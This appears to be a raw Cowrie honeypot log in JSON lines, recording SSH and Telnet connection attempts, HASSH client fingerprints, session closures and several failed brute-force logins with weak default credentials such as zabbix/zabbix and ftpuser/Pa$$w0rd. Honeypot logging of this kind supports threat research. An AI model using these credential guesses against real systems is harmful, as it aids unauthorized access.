{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:52.314636Z","src_ip":"176.65.132.129","session":"ef07aafc9373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:52.606622Z","src_ip":"176.65.132.129","session":"ef07aafc9373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:53.693487Z","src_ip":"176.65.132.129","session":"ef07aafc9373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":37646,"dst_ip":"10.17.0.5","dst_port":22,"session":"552374336ae8","protocol":"ssh","message":"New connection: 193.106.245.20:37646 (10.17.0.5:22) [session: 552374336ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:54.599750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:54.604553Z","src_ip":"193.106.245.20","session":"552374336ae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:54.724340Z","src_ip":"193.106.245.20","session":"552374336ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"test123","message":"login attempt [centos/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:55.226712Z","src_ip":"193.106.245.20","session":"552374336ae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53742,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ac823794e46","protocol":"ssh","message":"New connection: 176.65.132.129:53742 (159.203.135.109:22) [session: 6ac823794e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:55.679647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:55.684340Z","src_ip":"176.65.132.129","session":"6ac823794e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:55.766096Z","src_ip":"176.65.132.129","session":"6ac823794e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:56.011590Z","src_ip":"176.65.132.129","session":"6ac823794e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:56.345669Z","src_ip":"193.106.245.20","session":"552374336ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:57.096113Z","src_ip":"176.65.132.129","session":"6ac823794e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54714,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab6a43257b3d","protocol":"telnet","message":"New connection: 45.58.127.90:54714 (10.17.0.5:23) [session: ab6a43257b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:58.837535Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36254,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0fe1e962c4b","protocol":"telnet","message":"New connection: 45.58.127.90:36254 (10.17.0.5:23) [session: a0fe1e962c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:58.974589Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36256,"dst_ip":"10.17.0.5","dst_port":23,"session":"edf9adc45a0f","protocol":"telnet","message":"New connection: 45.58.127.90:36256 (10.17.0.5:23) [session: edf9adc45a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:01.013746Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36260,"dst_ip":"10.17.0.5","dst_port":23,"session":"95e86b3f23d9","protocol":"telnet","message":"New connection: 45.58.127.90:36260 (10.17.0.5:23) [session: 95e86b3f23d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:04.567312Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36274,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92a560d0926","protocol":"telnet","message":"New connection: 45.58.127.90:36274 (10.17.0.5:23) [session: e92a560d0926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:06.391183Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36298,"dst_ip":"10.17.0.5","dst_port":23,"session":"af5005ee75b7","protocol":"telnet","message":"New connection: 45.58.127.90:36298 (10.17.0.5:23) [session: af5005ee75b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:12.084970Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36314,"dst_ip":"10.17.0.5","dst_port":23,"session":"56baa2a5244b","protocol":"telnet","message":"New connection: 45.58.127.90:36314 (10.17.0.5:23) [session: 56baa2a5244b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:17.269123Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.76.136.25","src_port":37209,"dst_ip":"10.17.0.5","dst_port":22,"session":"b967f412b263","protocol":"ssh","message":"New connection: 61.76.136.25:37209 (10.17.0.5:22) [session: b967f412b263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:18.896977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:18.901827Z","src_ip":"61.76.136.25","session":"b967f412b263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:19.105114Z","src_ip":"61.76.136.25","session":"b967f412b263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Pa$$w0rd","message":"login attempt [ftpuser/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:19.935799Z","src_ip":"61.76.136.25","session":"b967f412b263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:21.155403Z","src_ip":"61.76.136.25","session":"b967f412b263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":53634,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f3774fc261f","protocol":"telnet","message":"New connection: 147.182.143.59:53634 (159.203.135.109:23) [session: 0f3774fc261f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:26.224264Z"}
{"eventid":"cowrie.session.closed","duration":8.570183753967285,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:34.794315Z","src_ip":"147.182.143.59","session":"0f3774fc261f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59364,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6d5f8531bc9","protocol":"telnet","message":"New connection: 50.6.18.72:59364 (159.203.135.109:23) [session: d6d5f8531bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:38.750530Z"}
{"eventid":"cowrie.session.closed","duration":41.54079508781433,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:40.378085Z","src_ip":"45.58.127.90","session":"ab6a43257b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.54831409454346,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:40.561936Z","src_ip":"45.58.127.90","session":"edf9adc45a0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.63373374938965,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:45.608203Z","src_ip":"45.58.127.90","session":"a0fe1e962c4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.316203594207764,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:45.883362Z","src_ip":"45.58.127.90","session":"95e86b3f23d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.47626757621765,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:49.867330Z","src_ip":"45.58.127.90","session":"e92a560d0926","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.99743413925171,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:50.082268Z","src_ip":"45.58.127.90","session":"af5005ee75b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":46070,"dst_ip":"10.17.0.5","dst_port":22,"session":"daca548e5d40","protocol":"ssh","message":"New connection: 193.106.245.20:46070 (10.17.0.5:22) [session: daca548e5d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:56.724629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:56.732096Z","src_ip":"193.106.245.20","session":"daca548e5d40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:56.848885Z","src_ip":"193.106.245.20","session":"daca548e5d40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server1","password":"Aa123456","message":"login attempt [server1/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:57.352008Z","src_ip":"193.106.245.20","session":"daca548e5d40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:15:58.472917Z","src_ip":"193.106.245.20","session":"daca548e5d40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34628,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c9b50d52dde","protocol":"telnet","message":"New connection: 45.58.127.90:34628 (10.17.0.5:23) [session: 6c9b50d52dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:01.251247Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34624,"dst_ip":"10.17.0.5","dst_port":23,"session":"cedd94551376","protocol":"telnet","message":"New connection: 45.58.127.90:34624 (10.17.0.5:23) [session: cedd94551376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:01.302768Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34638,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0b820c33c9d","protocol":"telnet","message":"New connection: 45.58.127.90:34638 (10.17.0.5:23) [session: a0b820c33c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:02.374984Z"}
{"eventid":"cowrie.session.closed","duration":46.336057901382446,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:03.605052Z","src_ip":"45.58.127.90","session":"56baa2a5244b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34648,"dst_ip":"10.17.0.5","dst_port":23,"session":"37c30b1a5207","protocol":"telnet","message":"New connection: 45.58.127.90:34648 (10.17.0.5:23) [session: 37c30b1a5207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:04.294185Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50322,"dst_ip":"159.203.135.109","dst_port":23,"session":"715585e8b96e","protocol":"telnet","message":"New connection: 50.6.18.72:50322 (159.203.135.109:23) [session: 715585e8b96e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:05.684088Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50330,"dst_ip":"159.203.135.109","dst_port":23,"session":"b96b1b8f30eb","protocol":"telnet","message":"New connection: 50.6.18.72:50330 (159.203.135.109:23) [session: b96b1b8f30eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:07.708483Z"}
{"eventid":"cowrie.session.closed","duration":4.004427194595337,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:08.298501Z","src_ip":"45.58.127.90","session":"37c30b1a5207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89968466758728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:09.650086Z","src_ip":"50.6.18.72","session":"d6d5f8531bc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50340,"dst_ip":"159.203.135.109","dst_port":23,"session":"caaca15fe899","protocol":"telnet","message":"New connection: 50.6.18.72:50340 (159.203.135.109:23) [session: caaca15fe899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:14.088413Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50352,"dst_ip":"159.203.135.109","dst_port":23,"session":"15cbdd682a57","protocol":"telnet","message":"New connection: 50.6.18.72:50352 (159.203.135.109:23) [session: 15cbdd682a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:14.918099Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33786,"dst_ip":"10.17.0.5","dst_port":23,"session":"8962a8288f1e","protocol":"telnet","message":"New connection: 45.58.127.90:33786 (10.17.0.5:23) [session: 8962a8288f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:18.439430Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":34932,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ab79ad33452","protocol":"telnet","message":"New connection: 50.6.18.72:34932 (159.203.135.109:23) [session: 1ab79ad33452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:20.737796Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":34938,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe684f729de5","protocol":"telnet","message":"New connection: 50.6.18.72:34938 (159.203.135.109:23) [session: fe684f729de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:21.898682Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":34946,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fd7f6da4e6d","protocol":"telnet","message":"New connection: 50.6.18.72:34946 (159.203.135.109:23) [session: 5fd7f6da4e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:23.684728Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33790,"dst_ip":"10.17.0.5","dst_port":23,"session":"62dac4d253d2","protocol":"telnet","message":"New connection: 45.58.127.90:33790 (10.17.0.5:23) [session: 62dac4d253d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:23.976976Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55656,"dst_ip":"159.203.135.109","dst_port":23,"session":"9786a7646ac7","protocol":"telnet","message":"New connection: 147.182.143.59:55656 (159.203.135.109:23) [session: 9786a7646ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:25.411537Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":34962,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bd02d27b848","protocol":"telnet","message":"New connection: 50.6.18.72:34962 (159.203.135.109:23) [session: 0bd02d27b848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:26.816239Z"}
